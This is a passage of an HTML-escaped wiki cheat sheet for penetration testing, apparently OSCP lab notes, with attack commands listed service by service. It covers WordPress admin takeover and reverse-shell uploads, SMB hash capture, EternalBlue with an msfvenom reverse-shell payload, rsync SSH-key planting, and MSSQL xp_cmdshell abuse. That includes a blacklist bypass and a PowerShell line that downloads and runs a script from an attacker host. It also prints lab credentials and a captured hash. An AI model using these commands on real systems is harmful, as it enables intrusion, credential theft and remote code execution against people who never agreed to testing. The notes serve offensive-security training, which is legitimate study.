UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
